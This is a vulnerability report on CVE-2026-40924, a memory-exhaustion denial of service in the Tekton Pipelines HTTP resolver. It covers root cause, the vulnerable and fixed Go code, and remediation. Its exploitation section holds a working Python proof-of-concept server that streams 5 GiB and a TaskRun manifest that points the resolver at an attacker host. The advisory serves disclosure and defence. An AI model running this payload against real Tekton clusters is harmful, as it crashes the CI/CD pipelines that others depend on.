CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-40924
6.5

CVE-2026-40924: Uncontrolled Resource Consumption in Tekton Pipelines HTTP Resolver

Amit Schendel
Amit Schendel
Senior Security Researcher

Apr 21, 2026·6 min read·7 visits

PoC Available

Executive Summary (TL;DR)

Tekton Pipelines < 1.11.1 suffers from a Denial of Service vulnerability due to unbounded memory allocation in the HTTP resolver. Attackers with permission to create TaskRuns can crash the resolver pod by pointing it to a malicious server that streams an excessively large response.

An uncontrolled resource consumption vulnerability exists in the HTTP resolver component of Tekton Pipelines prior to version 1.11.1. The flaw allows an authenticated attacker to trigger an out-of-memory (OOM) condition by returning an arbitrarily large HTTP response body during pipeline resolution, resulting in a denial of service for all resolution tasks within the Kubernetes cluster.

Vulnerability Overview

Tekton Pipelines relies on a unified resolution component to fetch tasks and pipelines from external sources. The tekton-pipelines-resolvers pod handles requests for Git repositories, Artifact Hub, bundles, cluster-local resources, and raw HTTP endpoints. This consolidated architecture means that a failure in one resolver type affects the availability of all others.

The vulnerability exists in the HTTP resolver implementation, specifically within the FetchHttpResource function. This function is responsible for retrieving pipeline definitions from external HTTP servers. When a user submits a TaskRun or PipelineRun referencing an HTTP resolver, the controller delegates the fetch operation to this component.

The core issue is a CWE-400 (Uncontrolled Resource Consumption) flaw caused by unbounded memory allocation. The resolver does not enforce a maximum size limit on the HTTP response body it receives from the remote server. An attacker can exploit this by directing the resolver to a malicious endpoint that serves an endlessly streaming or excessively large payload.

Root Cause Analysis

The Go standard library provides the io.ReadAll function to read data from an io.Reader until an end-of-file (EOF) condition is met. This function allocates a byte slice and continuously appends data to it. If the source provides a large amount of data without terminating, io.ReadAll will consume memory proportionally until the process encounters an allocation failure or is terminated by the operating system.

In the FetchHttpResource function, the HTTP response body (resp.Body) is passed directly to io.ReadAll. The code makes no attempt to verify the Content-Length header, nor does it enforce a hard limit on the number of bytes read. While the HTTP client uses a default timeout of one minute, a fast network connection allows an attacker to stream gigabytes of data within this window.

Kubernetes enforces resource quotas on containers using cgroups. By default, the controller container within the resolvers deployment is allocated 4 GiB of memory. When the io.ReadAll allocation exceeds this limit, the node's kernel invokes the Out-Of-Memory (OOM) killer, immediately terminating the process and causing the pod to enter a CrashLoopBackOff state.

Code Analysis

The vulnerable implementation is located in pkg/resolution/resolver/http/resolver.go and its counterpart in the remoteresolution package. The code executes an HTTP GET request and attempts to read the entire response into a byte slice before returning it to the caller.

func FetchHttpResource(ctx context.Context, params map[string]string,
    kubeclient kubernetes.Interface, logger *zap.SugaredLogger) (framework.ResolvedResource, error) {
 
    httpClient, err := makeHttpClient(ctx)  // default timeout: 1 minute
    // ...
    resp, err := httpClient.Do(req)
    // ...
    defer func() { _ = resp.Body.Close() }()
 
    body, err := io.ReadAll(resp.Body)  // <--- CRITICAL: Unbounded read
    if err != nil {
        return nil, fmt.Errorf("error reading response body: %w", err)
    }
    // ...
}

The remediation introduces an io.LimitReader to enforce a strict boundary on the amount of data processed. The limit is typically set to a sensible maximum for pipeline definitions, such as 50 MiB. By passing the LimitReader to io.ReadAll, the read operation will artificially trigger an EOF once the limit is reached.

const defaultMaxBodyBytes = 50 * 1024 * 1024 // 50 MiB limit
 
// Wrap the response body with a limit
limitedReader := io.LimitReader(resp.Body, maxBytes + 1)
body, err := io.ReadAll(limitedReader)
 
if int64(len(body)) > maxBytes {
    return nil, fmt.Errorf("response body exceeds maximum allowed size")
}

This fix successfully prevents memory exhaustion. The code reads up to maxBytes + 1. If the final slice length exceeds maxBytes, it confirms the remote server attempted to send more data than allowed, and the function returns an explicit error without crashing the process.

Exploitation

Exploiting this vulnerability requires the ability to create TaskRun or PipelineRun resources within the Kubernetes cluster. The attacker must also control an HTTP server accessible by the tekton-pipelines-resolvers pod. The malicious server is configured to accept incoming requests and immediately begin streaming a massive payload of junk data.

The following Python script demonstrates a minimal proof-of-concept server. It ignores the client's headers and continuously writes 1 MiB chunks to the socket. The payload totals 5 GiB, which reliably exceeds the standard 4 GiB container limit.

import http.server, socketserver
 
class LargeResponseHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.end_headers()
        # Stream 5 GB at full speed
        chunk = b"X" * (1024 * 1024)  # 1 MiB chunk
        for _ in range(5120):          # 5120 * 1 MiB = 5 GiB
            self.wfile.write(chunk)
 
    def log_message(self, *args):
        pass
 
with socketserver.TCPServer(("", 8080), LargeResponseHandler) as httpd:
    print("Serving malicious payload on port 8080...")
    httpd.serve_forever()

The attacker triggers the payload by submitting a TaskRun manifest that points the HTTP resolver to the malicious server. Once the Kubernetes API accepts the resource, the Tekton controller dispatches the resolution request. The pod will consume memory rapidly until the kernel terminates it.

apiVersion: tekton.dev/v1
kind: TaskRun
metadata:
  name: dos-poc-attack
spec:
  taskRef:
    resolver: http
    params:
      - name: url
        value: http://attacker-server.internal:8080/large-payload

Impact Assessment

The immediate consequence of exploitation is the termination of the tekton-pipelines-resolvers pod via the Kubernetes OOM-killer. Because this single pod handles all resolution strategies (Git, Hub, Bundle, Cluster, and HTTP), its failure completely halts the pipeline execution engine. No new TaskRun or PipelineRun resources can be initialized while the resolver is offline.

While Kubernetes will automatically attempt to restart the crashed pod, the attacker can maintain a sustained denial of service state. By submitting the malicious TaskRun repeatedly, or by relying on the controller's automated retry mechanisms, the pod will be forced into a CrashLoopBackOff state. This prevents the system from recovering without manual intervention to delete the offending resources.

The vulnerability is isolated to availability. The attacker does not gain code execution capabilities, nor can they access sensitive data or alter pipeline execution flows. The CVSS 3.1 base score reflects this specific impact profile, rating the vulnerability as 6.5 (Medium).

Remediation

The official resolution requires upgrading the Tekton Pipelines installation to version 1.11.1 or later. This release introduces the io.LimitReader implementation across all HTTP resolution paths, effectively neutralizing the memory exhaustion vector. Administrators should verify the deployment version by inspecting the image tags on the tekton-pipelines-resolvers deployment.

If immediate patching is not feasible, administrators can apply mitigation strategies using Kubernetes Network Policies. By restricting the egress traffic of the tekton-pipelines-resolvers pod, organizations can prevent it from connecting to untrusted external endpoints or internal attacker-controlled services. Egress rules should strictly whitelist only approved Git repositories, artifact registries, and trusted HTTP servers.

Additionally, access control reviews should be conducted. The ability to create TaskRun and PipelineRun resources should be limited to trusted users and automated CI/CD service accounts. Restricting namespace access reduces the pool of potential internal attackers who can trigger the vulnerability.

Official Patches

TektonTekton Pipelines Release 1.11.1

Technical Appendix

CVSS Score
6.5/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Affected Systems

Tekton Pipelines (< 1.11.1)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Tekton Pipelines
Tekton
< 1.11.11.11.1
AttributeDetail
CWE IDCWE-400
Attack VectorNetwork
CVSS Score6.5
ImpactHigh Availability (DoS)
Exploit StatusProof of Concept available
Authentication RequiredLow (Permission to create resources)

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
CWE-400
Uncontrolled Resource Consumption

Uncontrolled Resource Consumption

Vulnerability Timeline

Fix Released (Version 1.11.1)
2026-04-21
Public Disclosure
2026-04-21

References & Sources

  • [1]GitHub Security Advisory GHSA-m2cx-gpqf-qf74
  • [2]NVD Record for CVE-2026-40924

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.